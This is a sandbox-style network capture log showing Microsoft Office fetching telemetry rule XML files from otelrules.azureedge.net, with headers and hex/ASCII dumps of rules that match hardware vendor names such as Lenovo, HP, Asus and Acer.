2024-11-19 18:15:00 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:00 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:00 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 8753231e-501e-008f-038c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181500Z-185f5d8b95c5lcmhhC1NYCsnsw000000093g00000000sd12 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:00 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:01 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:01 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:01 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 3126d9de-f01e-0099-4d8c-3a9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181501Z-1777c6cb754dqb2khC1TEBmk1s00000008c000000000m3a4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 18:15:01 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:01 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:01 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:01 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: bfe6cc7a-201e-006e-7e8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181501Z-1777c6cb754n67brhC1TEBcp9c00000008mg000000001tyz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:01 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:01 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:01 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:01 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 1e988f1d-b01e-0070-1b8c-3a1cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181501Z-185f5d8b95cx9g8lhC1NYCtgvc00000001bg00000000weyd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:01 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:01 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:01 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:01 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 70a275ef-201e-0051-048c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181501Z-r1d97b99577n5jhbhC1TEB74vn00000007s0000000005fpv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:01 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:01 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:01 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:01 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 7f65a9a1-801e-0067-788c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181501Z-1777c6cb7549j9hhhC1TEBzmcc000000088g00000000u1q3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:01 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:02 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:02 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:02 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: eb1ded04-b01e-0097-298c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181502Z-1777c6cb754lvj6mhC1TEBke9400000008f000000000p2b2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:02 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:02 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:02 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:02 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: bdf962e5-c01e-0066-1b8c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181502Z-1777c6cb754mrj2shC1TEB6k7w00000008m000000000c0nh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:02 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:02 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:02 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:02 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: a1d80e42-301e-0096-338c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181502Z-r1d97b99577ndm4rhC1TEBf0ps00000007sg00000000kcu8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:02 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:02 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:02 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:02 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 79148a84-101e-0017-578c-3a47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181502Z-1777c6cb7549j9hhhC1TEBzmcc00000008dg000000006nqe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:02 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:02 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:02 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:02 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: b82db720-b01e-0053-528c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181502Z-1777c6cb754dqf99hC1TEB5nps00000008bg000000005u6t x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:02 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:02 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:02 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:02 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 7511ce5b-801e-0083-468c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181502Z-185f5d8b95c96jn4hC1NYCbgp80000000950000000005txe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:02 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> 